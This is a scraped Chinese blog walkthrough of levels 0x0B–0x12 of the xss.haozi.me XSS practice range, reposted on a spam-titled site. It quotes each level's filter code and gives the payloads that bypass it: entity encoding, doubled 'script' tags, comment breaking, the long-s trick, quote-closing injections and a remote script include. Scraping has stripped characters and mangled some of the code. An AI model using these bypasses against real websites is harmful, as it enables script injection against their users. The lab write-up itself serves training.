网站开发技术都有哪些郑州php网站开发培训
- 作者: 五速梦信息网
- 时间: 2026年03月21日 07:35
当前位置: 首页 > news >正文
网站开发技术都有哪些,郑州php网站开发培训,微信怎么弄小程序店铺,濮阳做网站推广君衍. 一、0x0B 实体编码绕过二、0x0C script绕过三、0x0D 注释绕过四、0X0E ſ符号绕过五、0x0F 编码解码六、0x10 直接执行七、0x11 闭合绕过八、0x12 闭合绕过 XSS-Labs靶场“1-5”关通关教程 XSS-Labs靶场“6-10”关通关教程 Appcms存储型XSS漏洞复现 XSS-Labs靶场“11-13、… 君衍. 一、0x0B 实体编码绕过二、0x0C script绕过三、0x0D 注释绕过四、0X0E ſ符号绕过五、0x0F 编码解码六、0x10 直接执行七、0x11 闭合绕过八、0x12 闭合绕过 XSS-Labs靶场“1-5”关通关教程 XSS-Labs靶场“6-10”关通关教程 Appcms存储型XSS漏洞复现 XSS-Labs靶场“11-13、15-16”关通关教程 xss.haozi.me靶场“0x00-0x0A”通关教程 xss.haozi.me靶场“0x0B-0x12”通关教程 一、0x0B 实体编码绕过 我们首先构造payload进行测试 这里我们可以看到全部转为了大写查看源码 function render (input) {input input.toUpperCase()return h1\({input}/h1 }函数内部首先调用了 toUpperCase 方法将 input 中的所有字符转换为大写形式。然后使用字符串模板template literal构建了一个包含在 h1 标签中的字符串其中 \){input} 被替换为转换为大写的 input。最终函数返回类似于 h1转换为大写的输入字符串/h1 的字符串。 这里我们需要知道HTML不去区分大小写但是JS区分大小写也就是对大小写敏感所以我们这里需要进行实体编码来进行绕过 /h1img src onerror#x61;#x6c;#x65;#x72;#x74;(1)当然我们也有别的payload可以完成触发 /h1svgscript#x61;#x6c;#x65;#x72;#x74;(1)/script同时我们也可以使用官方提供的JS因为域名对大小写不敏感 script srchttps://www.segmentfault.com.haozi.me/j.js/script二、0x0C script绕过 同样的我们使用常用的payload进行测试 可以看到这里依旧是进行了过滤所以我们查看源码 function render (input) {input input.replace(/script/ig, )input input.toUpperCase()return h1 input /h1 }函数内部首先使用正则表达式 replace 方法将输入字符串中所有的 script 字符串不区分大小写替换为空字符串从而将所有的 script 字符串都移除。然后使用 toUpperCase 方法将剩余的字符串转换为大写形式。最后使用字符串拼接方式构建了一个包含在 h1 标签中的字符串其中 input 变量被替换为移除了 script 字符串并转换为大写形式的字符串。 就是将输入字符串中所有的 “script” 字符串移除并将剩余的字符串转换为大写形式然后嵌入到一个 h1 标签中返回最终的 HTML 字符串。 这里我们由源码得知将script进行了置空置空这个我们就可以使用双写进行尝试绕过了 使用scripscripttalert(1)/scripscriptt进行测试) scripscriptt srchttps://www.segmentfault.com.haozi.me/j.js/scripscriptt当然我们也可以不适用script: /h1img src onerror#x61;#x6c;#x65;#x72;#x74;(1)三、0x0D 注释绕过 我们依旧使用最常用的payload进行测试观察回显 scriptalert(1)/script我们可以看到这里将其注释掉了查看源码 function render (input) {input input.replace(/[/]/g, )return script// alert(\({input})/script }函数内部使用了正则表达式 input.replace(/[/]/g, )该正则表达式匹配所有 , /, , 字符并将它们替换为空字符串。然后函数返回一个包含了注释和 script 标签的多行字符串。 所以我们需要逃逸掉注释这里使用回车来破坏注释结构然后再使用–来注释掉后面的内容从而完成触发 alert(1) --四、0X0E ſ符号绕过 首先我们依旧使用常用的payload来测试观察回显 scriptalert(1)/script这里我们可以看到依旧是进行了过滤所以我们查看源码 function render (input) {input input.replace(/([a-zA-Z])/g, _\)1)input input.toUpperCase()return h1 input /h1 }函数内部首先使用正则表达式 /([a-zA-Z])/g 进行匹配该正则表达式匹配以 开头的标签名然后将标签名的第一个字母用下划线代替即 _\(1其中 \)1 表示正则表达式中的第一个捕获组即匹配到的标签名的第一个字母。接着使用 toUpperCase 方法将整个字符串转换为大写形式。最后使用字符串拼接方式构建了一个包含在 h1 标签中的字符串其中 input 变量被替换为转换为大写形式并进行标签名替换的字符串。 这里我我们就涉及一种XSS特殊的绕过技巧使用ſ符号来代替s从而达到绕过的效果。 ſcript srchttps://www.segmentfault.com.haozi.me/j.js/script五、0x0F 编码解码 这里我们依旧使用常用的payload进行绕过 scriptalert(1)script可以看到这里将我们输入的内容放入了img标签中同时进行了编码。所以我们查看源码 function render (input) {function escapeHtml(s) {return s.replace(//g, amp;).replace(//g, #39;).replace(//g, quot;).replace(//g, lt;).replace(//g, gt;).replace(/\//g, #x2f;)}return img src οnerrοrconsole.error(\({escapeHtml(input)}) }首先我们定义了一个函数render用于接收input函数包含了img标签的字符串同时设置了一个onerror事件函数内部也定义了一个内部函数escapehtml用来转义输入的字符串中的特殊字符使用了replace函数来替换字符中特殊的字符 .replace(//g, amp;)将 替换为 amp;以防止 HTML 实体引用问题。.replace(//g, #39;)将 ’ 替换为 #39;以防止单引号在 HTML 属性中引起问题。.replace(//g, quot;)将 替换为 quot;以防止双引号在 HTML 属性中引起问题。.replace(//g, lt;)将 替换为 lt;以防止小于号在 HTML 中引起问题。.replace(//g, gt;)将 替换为 gt;以防止大于号在 HTML 中引起问题。.replace(/\//g, #x2f;)将 / 替换为 #x2f;以防止斜杠在 HTML 中引起问题。 1 最后函数返回一个字符串模板其中包含一个 img 标签设置了一个 onerror事件处理程序当图像加载失败时将调用 console.error 输出转义后的输入字符串作为错误消息到控制台。 但是这里忽略了一点由于编码后再HTML标签当中所以当解析代码时候被过滤的编码字符依旧会被还原再执行所以过滤的字符其实可以用我们直接先完成闭合再注释掉后面内容即可 ); alert(1); //当然我们也可以利用后面的内容完成闭合。 ); alert(1六、0x10 直接执行 本关没有做什么过滤所以我们随便给window.date一个值完成注入 alert(1)源码如下 function render (input) {return scriptwindow.data \){input} /script }七、0x11 闭合绕过 我们直接查看源码 // from alf.nu function render (s) {function escapeJs (s) {return String(s).replace(/\/g, \\).replace(//g, \).replace(//g, \).replace(//g, \).replace(//g, \74).replace(//g, \76).replace(/\//g, \/).replace(/\n/g, \n).replace(/\r/g, \r).replace(/\t/g, \t).replace(/\f/g, \f).replace(/\v/g, \v)// .replace(/\b/g, \b).replace(/\0/g, \0)}s escapeJs(s)return scriptvar url javascript:console.log(${s})var a document.createElement(a)a.href urldocument.body.appendChild(a)a.click() /script}定义了一个名为 render 的 JavaScript 函数该函数接受一个参数 s。还定义了一个内部函数 escapeJs用于对输入的字符串进行 JavaScript 转义。 我们可见本关过滤了许多字符所以我们如果要进行注入需要先将前面函数闭合逃逸掉我们可以,以及;将代码分隔开再把后面注释掉即可绕过。 同时//虽然被转义成了//, 但转义之后还是//, 在js中还是注释符 );alert(1);//);alert(1八、0x12 闭合绕过 我们依旧是先查看源码 // from alf.nu function escape (s) {s s.replace(//g, \)return scriptconsole.log( s );/script }函数内部首先使用正则表达式 s.replace(//g, \) 将输入字符串中的双引号 替换为 以便在 JavaScript 字符串中正确转义双引号。然后将转义后的字符串插入到一个包含在 script 标签中的 JavaScript 代码中该 JavaScript 代码使用 console.log 将转义后的字符串输出到控制台。最终函数返回一个包含 script 标签的字符串其中包含了一段 JavaScript 代码用于输出转义后的字符串到控制台。 可以看到本关本质其实和上一关一样就是将替换为,防止闭合前面函数。但是我们可以通过先输入\符号将\进行转义了这样双引号就能成功闭合了。 );alert(1);///scriptscriptalert(1)/scriptscript
- 上一篇: 网站开发技术参数怎么查看网站点击量
- 下一篇: 网站开发技术方案实验报告wordpress承载
相关文章
-
网站开发技术参数怎么查看网站点击量
网站开发技术参数怎么查看网站点击量
- 技术栈
- 2026年03月21日
-
网站开发技术参考文献云存储做网站
网站开发技术参考文献云存储做网站
- 技术栈
- 2026年03月21日
-
网站开发技术部分谷德设计网工作
网站开发技术部分谷德设计网工作
- 技术栈
- 2026年03月21日
-
网站开发技术方案实验报告wordpress承载
网站开发技术方案实验报告wordpress承载
- 技术栈
- 2026年03月21日
-
网站开发技术方案网上商城开发费用
网站开发技术方案网上商城开发费用
- 技术栈
- 2026年03月21日
-
网站开发技术概况wordpress time
网站开发技术概况wordpress time
- 技术栈
- 2026年03月21日
